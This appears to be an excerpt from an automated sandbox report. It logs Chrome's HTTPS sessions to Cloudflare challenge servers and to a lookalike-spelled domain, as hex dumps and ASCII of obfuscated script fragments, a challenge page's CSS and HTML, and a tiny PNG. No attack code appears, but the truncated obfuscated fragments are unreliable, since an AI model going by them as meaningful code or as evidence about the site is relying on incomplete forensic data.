66 4d 5b 69 78 28 31 32 35 33 29 5d 3d 69 78 28 31 33 Data Ascii: M[ix(1332)]=ix(2411),fM[ix(1149)]=ix(2629),fM[ix(627)]=ix(2965),fM[ix(3250)]=ix(3252),fM[ix(3059)]=ix(653),fM[ix(1518)]=ix(2083),fM[ix(2814)]=ix(896),fM[ix(2440)]=ix(2710),fM[ix(3088)]=ix(3031),fM[ix(1325)]=ix(694),fM[ix(1150)]=ix(2566),fM[ix(1253)]=ix(13
2024-04-18 21:05:33 UTC	1315	IN	Data Raw: 4f 5b 69 78 28 31 36 30 33 29 5d 3d 69 78 28 33 31 35 34 29 2c 66 4f 5b 69 78 28 31 39 36 31 29 5d 3d 69 78 28 32 39 32 32 29 2c 66 4f 5b 69 78 28 32 36 32 32 29 5d 3d 69 78 28 32 34 30 34 29 2c 66 4f 5b 69 78 28 31 35 38 35 29 5d 3d 69 78 28 31 38 31 37 29 2c 66 4f 5b 69 78 28 32 35 39 31 29 5d 3d 69 78 28 32 38 38 33 29 2c 66 4f 5b 69 78 28 39 32 31 29 5d 3d 69 78 28 33 33 36 38 29 2c 66 4f 5b 69 78 28 32 35 36 32 29 5d 3d 69 78 28 31 38 37 37 29 2c 66 4f 5b 69 78 28 31 35 32 33 29 5d 3d 69 78 28 32 38 38 39 29 2c 66 4f 5b 69 78 28 33 32 31 34 29 5d 3d 69 78 28 31 36 32 33 29 2c 66 4f 5b 69 78 28 31 36 34 39 29 5d 3d 69 78 28 31 38 39 32 29 2c 66 4f 5b 69 78 28 31 37 34 39 29 5d 3d 69 78 28 31 34 38 30 29 2c 66 4f 5b 69 78 28 32 35 33 34 29 5d 3d 69 78 Data Ascii: O[ix(1603)]=ix(3154),fO[ix(1961)]=ix(2922),fO[ix(2622)]=ix(2404),fO[ix(1585)]=ix(1817),fO[ix(2591)]=ix(2883),fO[ix(921)]=ix(3368),fO[ix(2562)]=ix(1877),fO[ix(1523)]=ix(2889),fO[ix(3214)]=ix(1623),fO[ix(1649)]=ix(1892),fO[ix(1749)]=ix(1480),fO[ix(2534)]=ix
2024-04-18 21:05:33 UTC	1369	IN	Data Raw: 31 30 35 32 0d 0a 32 38 31 34 29 5d 3d 69 78 28 33 33 33 31 29 2c 66 50 5b 69 78 28 32 34 34 30 29 5d 3d 69 78 28 32 30 31 34 29 2c 66 50 5b 69 78 28 33 30 38 38 29 5d 3d 69 78 28 32 33 39 31 29 2c 66 50 5b 69 78 28 31 33 32 35 29 5d 3d 69 78 28 31 35 36 30 29 2c 66 50 5b 69 78 28 31 31 35 30 29 5d 3d 69 78 28 33 30 39 32 29 2c 66 50 5b 69 78 28 31 32 35 33 29 5d 3d 69 78 28 32 30 30 37 29 2c 66 50 5b 69 78 28 32 30 36 33 29 5d 3d 69 78 28 31 32 37 34 29 2c 66 50 5b 69 78 28 35 31 30 29 5d 3d 69 78 28 38 32 30 29 2c 66 50 5b 69 78 28 33 30 33 39 29 5d 3d 69 78 28 32 31 39 30 29 2c 66 51 3d 7b 7d 2c 66 51 5b 69 78 28 32 36 33 31 29 5d 3d 69 78 28 31 37 35 33 29 2c 66 51 5b 69 78 28 32 35 36 38 29 5d 3d 69 78 28 31 37 34 31 29 2c 66 51 5b 69 78 28 31 37 35 Data Ascii: 10522814)]=ix(3331),fP[ix(2440)]=ix(2014),fP[ix(3088)]=ix(2391),fP[ix(1325)]=ix(1560),fP[ix(1150)]=ix(3092),fP[ix(1253)]=ix(2007),fP[ix(2063)]=ix(1274),fP[ix(510)]=ix(820),fP[ix(3039)]=ix(2190),fQ={},fQ[ix(2631)]=ix(1753),fQ[ix(2568)]=ix(1741),fQ[ix(175
2024-04-18 21:05:33 UTC	1369	IN	Data Raw: 3d 69 78 28 39 33 39 29 2c 66 52 5b 69 78 28 32 35 36 32 29 5d 3d 69 78 28 31 35 33 36 29 2c 66 52 5b 69 78 28 31 35 32 33 29 5d 3d 69 78 28 32 36 37 34 29 2c 66 52 5b 69 78 28 33 32 31 34 29 5d 3d 69 78 28 32 33 32 30 29 2c 66 52 5b 69 78 28 31 36 34 39 29 5d 3d 69 78 28 33 32 32 32 29 2c 66 52 5b 69 78 28 31 37 34 39 29 5d 3d 69 78 28 32 34 31 34 29 2c 66 52 5b 69 78 28 32 35 33 34 29 5d 3d 69 78 28 32 36 38 33 29 2c 66 52 5b 69 78 28 39 38 37 29 5d 3d 69 78 28 32 38 32 39 29 2c 66 52 5b 69 78 28 37 31 39 29 5d 3d 69 78 28 31 37 39 33 29 2c 66 52 5b 69 78 28 38 32 35 29 5d 3d 69 78 28 32 35 32 38 29 2c 66 52 5b 69 78 28 31 33 33 32 29 5d 3d 69 78 28 32 31 32 31 29 2c 66 52 5b 69 78 28 31 31 34 39 29 5d 3d 69 78 28 31 33 32 31 29 2c 66 52 5b 69 78 28 36 Data Ascii: =ix(939),fR[ix(2562)]=ix(1536),fR[ix(1523)]=ix(2674),fR[ix(3214)]=ix(2320),fR[ix(1649)]=ix(3222),fR[ix(1749)]=ix(2414),fR[ix(2534)]=ix(2683),fR[ix(987)]=ix(2829),fR[ix(719)]=ix(1793),fR[ix(825)]=ix(2528),fR[ix(1332)]=ix(2121),fR[ix(1149)]=ix(1321),fR[ix(6
2024-04-18 21:05:33 UTC	1369	IN	Data Raw: 78 28 32 39 39 30 29 2c 66 53 5b 69 78 28 33 30 33 39 29 5d 3d 69 78 28 32 38 30 39 29 2c 66 54 3d 7b 7d 2c 66 54 5b 69 78 28 32 36 33 31 29 5d 3d 69 78 28 31 35 32 30 29 2c 66 54 5b 69 78 28 32 35 36 38 29 5d 3d 69 78 28 33 32 39 38 29 2c 66 54 5b 69 78 28 31 37 35 34 29 5d 3d 69 78 28 31 37 33 31 29 2c 66 54 5b 69 78 28 31 36 31 33 29 5d 3d 69 78 28 31 32 39 35 29 2c 66 54 5b 69 78 28 32 38 36 35 29 5d 3d 69 78 28 31 38 36 30 29 2c 66 54 5b 69 78 28 31 31 38 38 29 5d 3d 69 78 28 38 37 32 29 2c 66 54 5b 69 78 28 31 31 38 37 29 5d 3d 69 78 28 32 33 38 30 29 2c 66 54 5b 69 78 28 37 33 32 29 5d 3d 69 78 28 33 31 32 35 29 2c 66 54 5b 69 78 28 35 32 33 29 5d 3d 69 78 28 31 30 39 32 29 2c 66 54 5b 69 78 28 31 36 30 33 29 5d 3d 69 78 28 31 33 31 39 29 2c 66 54 Data Ascii: x(2990),fS[ix(3039)]=ix(2809),fT={},fT[ix(2631)]=ix(1520),fT[ix(2568)]=ix(3298),fT[ix(1754)]=ix(1731),fT[ix(1613)]=ix(1295),fT[ix(2865)]=ix(1860),fT[ix(1188)]=ix(872),fT[ix(1187)]=ix(2380),fT[ix(732)]=ix(3125),fT[ix(523)]=ix(1092),fT[ix(1603)]=ix(1319),fT
2024-04-18 21:05:33 UTC	79	IN	Data Raw: 5d 3d 69 78 28 31 38 30 36 29 2c 66 55 5b 69 78 28 38 32 35 29 5d 3d 69 78 28 32 38 32 35 29 2c 66 55 5b 69 78 28 31 33 33 32 29 5d 3d 69 78 28 37 34 33 29 2c 66 55 5b 69 78 28 31 31 34 39 29 5d 3d 69 78 28 33 30 36 31 29 2c 66 55 0d 0a Data Ascii: ]=ix(1806),fU[ix(825)]=ix(2825),fU[ix(1332)]=ix(743),fU[ix(1149)]=ix(3061),fU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49757	104.17.3.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:33 UTC	786	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/g4s4m/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:33 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:33 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 87679d19499d53e1-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:33 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49761	104.17.2.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:34 UTC	438	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:34 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:34 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 87679d1cef1a8bb9-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:05:34 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49762	172.67.191.217	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:05:34 UTC	874	OUT	GET /favicon.ico HTTP/1.1 Host: ridgelineexcavatoin.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ridgelineexcavatoin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:05:34 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Thu, 18 Apr 2024 21:05:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16780 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: RJTLhROIefUMH1x3U73cysvyhGpTd4FnK5kyfogF8B0Va1t0EjC/wwNh4lRlQWiYOPT0EzvIEyPWG0+sftIm2Tu3DN/J13rM/mFYXlQ4KPxFv3ZxhuM3EsugUKb7kjm8dSc+4UwAOFxqrOWABBPcNQ==$9WQlimPMIMXqUPgqNvY6kA== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-18 21:05:34 UTC	421	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 67 6e 43 56 6b 52 38 59 55 76 7a 72 67 58 6b 45 4c 68 52 74 36 43 46 74 73 68 67 36 6f 4c 51 73 75 52 65 30 6a 6e 44 66 62 36 76 70 57 4b 76 43 48 57 71 70 6d 39 59 47 7a 35 69 6c 33 52 79 47 30 72 48 25 32 42 48 37 65 62 67 42 57 37 4e 32 6d 36 65 62 4c 34 25 32 46 25 32 46 43 32 6a 72 63 44 36 47 72 46 55 6a 47 41 67 42 69 4d 75 50 66 5a 6b 48 43 46 56 6e 45 41 78 57 35 48 6b 45 41 72 6f 6a 66 53 67 48 75 32 4e 49 56 4a 7a 59 4d 72 71 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gnCVkR8YUvzrgXkELhRt6CFtshg6oLQsuRe0jnDfb6vpWKvCHWqpm9YGz5il3RyG0rH%2BH7ebgBW7N2m6ebL4%2F%2FC2jrcD6GrFUjGAgBiMuPfZkHCFVnEAxW5HkEArojfSgHu2NIVJzYMrqA%3D%3D"}],"group":"cf-nel","m
2024-04-18 21:05:34 UTC	1027	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a Data Ascii: y53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIj
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 72 65 64 7b 63 6f 6c 6f 72 3a 23 62 32 30 66 30 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a Data Ascii: red{color:#b20f03}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 62 6f 64 79 2e 6c 69 67 68 74 20 2e 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 Data Ascii: body.light .lds-ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background-i
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 63 6f 6c 6f 72 3a 23 30 30 35 31 63 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 Data Ascii: color:#0051c3;text-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.mai
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 79 34 7a 4f 53 30 78 4c 6a 41 31 4e 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e 67 65 Data Ascii: y4zOS0xLjA1Ny4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e Data Ascii: ;max-width:60rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 6c 6f 63 6b 7d 7d 2e 72 74 6c 20 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 Data Ascii: lock}}.rtl .heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http-e
2024-04-18 21:05:34 UTC	1369	IN	Data Raw: 4f 4b 79 49 37 34 53 66 57 4c 6f 38 68 31 66 4d 4a 57 52 46 30 74 6b 43 48 58 79 31 67 30 74 7a 62 35 50 57 46 71 74 70 42 50 46 66 7a 74 43 44 47 77 62 50 71 38 4c 48 70 74 76 50 46 4b 70 76 75 31 42 68 52 37 63 70 5a 54 34 4d 7a 59 57 66 43 68 53 57 39 70 52 77 4a 46 30 6e 4a 36 6e 41 72 4d 6e 47 6c 55 31 31 30 4f 5f 47 51 49 50 68 33 70 6d 41 6b 48 69 31 62 6c 59 6a 64 43 44 58 35 47 53 46 52 48 66 56 6b 72 6c 33 79 70 50 47 6f 38 51 4d 51 76 48 58 50 54 5f 72 49 4c 74 37 75 7a 69 4d 64 5a 67 33 33 69 42 78 36 47 49 76 6d 77 52 67 52 30 7a 74 30 31 5a 55 4d 65 7a 38 71 42 44 69 35 39 72 7a 39 5a 49 65 35 4b 71 62 5a 4f 6e 62 4d 77 4e 38 49 4f 78 32 35 57 42 68 69 56 70 6d 4c 6a 70 69 51 71 6a 67 45 67 61 34 77 33 6a 75 52 31 69 6f 38 67 6c 4a 36 4d 37 Data Ascii: OKyI74SfWLo8h1fMJWRF0tkCHXy1g0tzb5PWFqtpBPFfztCDGwbPq8LHptvPFKpvu1BhR7cpZT4MzYWfChSW9pRwJF0nJ6nArMnGlU110O_GQIPh3pmAkHi1blYjdCDX5GSFRHfVkrl3ypPGo8QMQvHXPT_rILt7uziMdZg33iBx6GIvmwRgR0zt01ZUMez8qBDi59rz9ZIe5KqbZOnbMwN8IOx25WBhiVpmLjpiQqjgEga4w3juR1io8glJ6M7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49763	104.17.3.184	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
